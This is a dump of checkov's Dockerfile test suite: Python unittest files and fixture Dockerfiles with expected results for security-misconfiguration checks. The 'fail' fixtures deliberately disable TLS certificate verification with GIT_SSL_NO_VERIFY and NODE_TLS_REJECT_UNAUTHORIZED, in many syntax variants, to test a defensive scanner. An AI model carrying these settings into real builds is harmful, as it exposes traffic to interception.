    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.MaintainerExists import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMaintainerExists(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MaintainerExists\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\"/failure/Dockerfile.MAINTAINER\"}\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_ReferenceLatestTag.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.ReferenceLatestTag import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestReferenceLatestTag(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ReferenceLatestTag\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/success/Dockerfile.FROM\",\n            \"/success_multi_stage/Dockerfile.FROM\",\n            \"/success_multi_stage_capital/Dockerfile.FROM\",\n            \"/success_scratch/Dockerfile.FROM\",\n            \"/success_multi_stage_scratch/Dockerfile.FROM\",\n            \"/success_multi_stage_platform/Dockerfile.FROM\",\n        }\n        \n        failing_resources = {\n            \"/failure_default_version_tag/Dockerfile.FROM\",\n            \"/failure_latest_version_tag/Dockerfile.FROM\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_RootUser.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.RootUser import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRootUser(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RootUser\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\"/success/Dockerfile.USER\"}\n        failing_resources = {\"/failure/Dockerfile.USER\"}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_RunUsingAPT.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.RunUsingAPT import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRunUsingAPT(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RunUsingAPT\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/success/Dockerfile.\",\n            \"/success2/Dockerfile.\",\n            \"/success3/Dockerfile.\",\n        }\n        failing_resources = {\n            \"/failure/Dockerfile.RUN\",\n            \"/failure2/Dockerfile.RUN\",\n            \"/failure3/Dockerfile.RUN\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_UpdateNotAlone.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.UpdateNotAlone import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestUpdateNotAlone(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_UpdateNotAlone\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\"/success/Dockerfile.\"}\n        failing_resources = {\"/failure/Dockerfile.RUN\",\n                             \"/failure/Dockerfile.simple.RUN\"}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_UserExists.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.UserExists import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestUserExists(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_UserExists\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\"/success/Dockerfile.USER\"}\n        failing_resources = {\"/failure/Dockerfile.\"}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_WorkdirIsAbsolute.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.dockerfile.checks.WorkdirIsAbsolute import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWorkdirIsAbsolute(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WorkdirIsAbsolute\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\"/success/Dockerfile.\"}\n        failing_resources = [\n            \"/failure/Dockerfile.WORKDIR\",  # filenames appear once for each check violation in the file\n            \"/failure/Dockerfile.WORKDIR\",\n            \"/failure/Dockerfile.WORKDIR\",\n            \"/failure/Dockerfile.simple.WORKDIR\",\n        ]\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = [c.resource for c in report.failed_checks]\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertCountEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.wilderness.ENV'\n  - 'fail/Dockerfile.wilderness.ENV'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.ARG'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.ENV'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.ENV'\n  - 'fail/Dockerfile.wilderness.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.basic",
    "content": "FROM alpine:3.5\nENV GIT_SSL_NO_VERIFY 0\nENV GIT_SSL_NO_VERIFY=0\nENV GIT_SSL_NO_VERIFY=\"0\"\nENV GIT_SSL_NO_VERIFY='0'\nARG GIT_SSL_NO_VERIFY=0\nARG GIT_SSL_NO_VERIFY=\"0\"\nARG GIT_SSL_NO_VERIFY='0'\nARG GIT_SSL_NO_VERIFY 0\nENV LOL=123 GIT_SSL_NO_VERIFY=0\nENV GIT_SSL_NO_VERIFY=0 LOL=123\nENV GIT_SSL_NO_VERIFY    0\nARG GIT_SSL_NO_VERIFY    0\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.basic",
    "content": "FROM alpine:3.15\n\nRUN GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY=\"0\" git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git\n\nRUN GIT_SSL_NO_VERIFY=0 TEST=\"lol\" git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY=\"0\" TEST='lol' git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY='0' TEST=lol git clone https://github.com/bridgecrewio/checkov.git\n\nRUN LOL=123 GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git\nRUN LOL=\"123\" GIT_SSL_NO_VERIFY=\"0\" git clone https://github.com/bridgecrewio/checkov.git\nRUN LOL='123' GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git\n\nRUN TEST_123=\"456\" GIT_SSL_NO_VERIFY=0 TEST=\"lol\" git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123='456' GIT_SSL_NO_VERIFY=\"0\" TEST='lol' git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123=456 GIT_SSL_NO_VERIFY='0' TEST=\"lol\" git clone https://github.com/bridgecrewio/checkov.git\n\nRUN TEST_123=\"456\" \\\n    GIT_SSL_NO_VERIFY=0 \\\n    TEST=\"lol\" \\\n    git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123='456' \\\n    GIT_SSL_NO_VERIFY=\"0\" \\\n    TEST='lol'\\\n     git clone https://github.com/bridgecrewio/checkov.git\nRUN \\\n     TEST_123=456\\\n     GIT_SSL_NO_VERIFY='0' \\\n     TEST=\"lol\" \\\n     git clone https://github.com/bridgecrewio/checkov.git\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.quotes",
    "content": "FROM alpine:3.15\n\nRUN GIT_SSL_NO_VERIFY=0 TEST=\"lol\\\"\" git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY=\"0\" TEST='lol\\'' git clone https://github.com/bridgecrewio/checkov.git\n\nRUN LOL=\"123\\\"\" GIT_SSL_NO_VERIFY=\"0\" git clone https://github.com/bridgecrewio/checkov.git\nRUN LOL='123\\'' GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.shell",
    "content": "FROM alpine:3.15\n\nRUN ABC=123 echo test; GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git ;DEF=456 echo lol;\nRUN ABC=123 echo test;GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git;DEF=456 echo lol;\nRUN ABC=123 echo test ;GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git; DEF=456 echo lol;\n\nRUN ABC=123 echo test&& GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git &&DEF=456 echo lol;\nRUN ABC=123 echo test&&GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git&&DEF=456 echo lol;\nRUN ABC=123 echo test &&GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git&& DEF=456 echo lol;\n\nRUN ABC=123 echo test|| GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git ||DEF=456 echo lol;\nRUN ABC=123 echo test||GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git||DEF=456 echo lol;\nRUN ABC=123 echo test ||GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git|| DEF=456 echo lol;\n\nRUN ABC=123 echo test| GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git |DEF=456 echo lol;\nRUN ABC=123 echo test|GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git|DEF=456 echo lol;\nRUN ABC=123 echo test |GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git| DEF=456 echo lol;\n\nRUN ABC=123      echo test;       GIT_SSL_NO_VERIFY=0         git clone https://github.com/bridgecrewio/checkov.git ;     DEF=456          echo lol;\nRUN ABC=123      echo test ;       GIT_SSL_NO_VERIFY=0         git clone https://github.com/bridgecrewio/checkov.git;     DEF=456          echo lol;\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.whitespace",
    "content": "FROM alpine:3.15\nRUN TEST_123=\"456\"        GIT_SSL_NO_VERIFY=0  git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123='456'        GIT_SSL_NO_VERIFY=\"0\"  git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123=456        GIT_SSL_NO_VERIFY='0'  git clone https://github.com/bridgecrewio/checkov.git\n\nRUN TEST_123=\"456\"        GIT_SSL_NO_VERIFY=0      TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123='456'        GIT_SSL_NO_VERIFY=\"0\"    TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\nRUN TEST_123=456          GIT_SSL_NO_VERIFY='0'    TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\n\nRUN GIT_SSL_NO_VERIFY=0      TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY=\"0\"    TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY='0'    TEST=\"lol\"    git clone https://github.com/bridgecrewio/checkov.git\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.wilderness",
    "content": "FROM alpine:3.5\nENV GIT_SSL_NO_VERIFY=1\nENV GIT_SSL_NO_VERIFY true\nRUN export GIT_SSL_NO_VERIFY=1\nARG GIT_SSL_NO_VERIFY=true\nRUN     GIT_SSL_NO_VERIFY=1 git clone https://github.com/bridgecrewio/checkov.git\nENV GIT_SSL_NO_VERIFY ${GIT_SSL_NO_VERIFY}\nRUN export GIT_SSL_NO_VERIFY=1 && git clone --depth 1 https://github.com/bridgecrewio/checkov.git\nRUN cd $HOME && export GIT_SSL_NO_VERIFY=true \\\n    && git clone https://github.com/bridgecrewio/checkov.git\nRUN GIT_SSL_NO_VERIFY=yes \\\n    git clone https://github.com/bridgecrewio/checkov.git\nRUN apk add git && GIT_SSL_NO_VERIFY=true git clone https://github.com/bridgecrewio/checkov.git\nENV GO111MODULE=on \\\n    CGO_ENABLED=0 \\\n    GOOS=linux \\\n    GOARCH=amd64 \\\n    GIT_SSL_NO_VERIFY=1\nRUN export DEBIAN_FRONTEND='noninteractive' && \\\n    export GIT_SSL_NO_VERIFY=1 && echo Hybrid_Theory"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/pass/Dockerfile",
    "content": "FROM alpine:3.5\nENV ASDFGIT_SSL_NO_VERIFY=1\nENV ASDFGIT_SSL_NO_VERIFY 1\nENV ASDFGIT_SSL_NO_VERIFY Meteora\nARG GIT_SSL_NO_VERIFYASDF=1\nARG GIT_SSL_NO_VERIFYASDF 1\nARG GIT_SSL_NO_VERIFYASDF Meteora\nENV LP=Meteora ASDFGIT_SSL_NO_VERIFY=0\nENV ASDFGIT_SSL_NO_VERIFY=0 LP=Meteora\nENV LP=Meteora \\\n    ASDFGIT_SSL_NO_VERIFY=0\nENV LP=Meteora GIT_SSL_NO_VERIFYASDF=1\n\nRUN unset GIT_SSL_NO_VERIFY\nRUN git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN ASDFGIT_SSL_NO_VERIFY=1 git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN ASDFGIT_SSL_NO_VERIFY=\"1\" git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN ASDFGIT_SSL_NO_VERIFY='1' git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN ASDFGIT_SSL_NO_VERIFY=\"0\\\"\" git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN ASDFGIT_SSL_NO_VERIFY='0\\'' git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN LP=Meteora \\\n    ASDFGIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN LP=Meteora GIT_SSL_NO_VERIFYASDF=1 git clone https://github.com/bridgecrewio/checkov.git awesome\nRUN GIT_SSL_NO_VERIFYASDF=0 git clone https://github.com/bridgecrewio/checkov.git awesome\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.basic",
    "content": "FROM alpine:3.5\nENV NODE_TLS_REJECT_UNAUTHORIZED 0\nENV NODE_TLS_REJECT_UNAUTHORIZED=0\nENV NODE_TLS_REJECT_UNAUTHORIZED=\"0\"\nENV NODE_TLS_REJECT_UNAUTHORIZED='0'\nARG NODE_TLS_REJECT_UNAUTHORIZED=0\nARG NODE_TLS_REJECT_UNAUTHORIZED=\"0\"\nARG NODE_TLS_REJECT_UNAUTHORIZED='0'\nARG NODE_TLS_REJECT_UNAUTHORIZED 0\nENV LOL=666 NODE_TLS_REJECT_UNAUTHORIZED=0\nENV NODE_TLS_REJECT_UNAUTHORIZED=0 LOL=666\nENV NODE_TLS_REJECT_UNAUTHORIZED    0\nARG NODE_TLS_REJECT_UNAUTHORIZED    0\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.basic",
    "content": "FROM alpine:3.15\n\nRUN NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"0\" python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py\n\nRUN NODE_TLS_REJECT_UNAUTHORIZED=0 TEST=\"lol\" python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"0\" TEST='lol' python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED='0' TEST=lol python example.py\n\nRUN LOL=123 NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py\nRUN LOL=\"123\" NODE_TLS_REJECT_UNAUTHORIZED=\"0\" python example.py\nRUN LOL='123' NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py\n\nRUN TEST_123=\"456\" NODE_TLS_REJECT_UNAUTHORIZED=0 TEST=\"lol\" python example.py\nRUN TEST_123='456' NODE_TLS_REJECT_UNAUTHORIZED=\"0\" TEST='lol' python example.py\nRUN TEST_123=456 NODE_TLS_REJECT_UNAUTHORIZED='0' TEST=\"lol\" python example.py\n\nRUN TEST_123=\"456\" \\\n    NODE_TLS_REJECT_UNAUTHORIZED=0 \\\n    TEST=\"lol\" \\\n    python example.py\nRUN TEST_123='456' \\\n    NODE_TLS_REJECT_UNAUTHORIZED=\"0\" \\\n    TEST='lol'\\\n     python example.py\nRUN \\\n     TEST_123=456\\\n     NODE_TLS_REJECT_UNAUTHORIZED='0' \\\n     TEST=\"lol\" \\\n     python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.quotes",
    "content": "FROM alpine:3.15\n\nRUN NODE_TLS_REJECT_UNAUTHORIZED=0 TEST=\"lol\\\"\" python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"0\" TEST='lol\\'' python example.py\n\nRUN LOL=\"123\\\"\" NODE_TLS_REJECT_UNAUTHORIZED=\"0\" python example.py\nRUN LOL='123\\'' NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py\n"
  },
  {
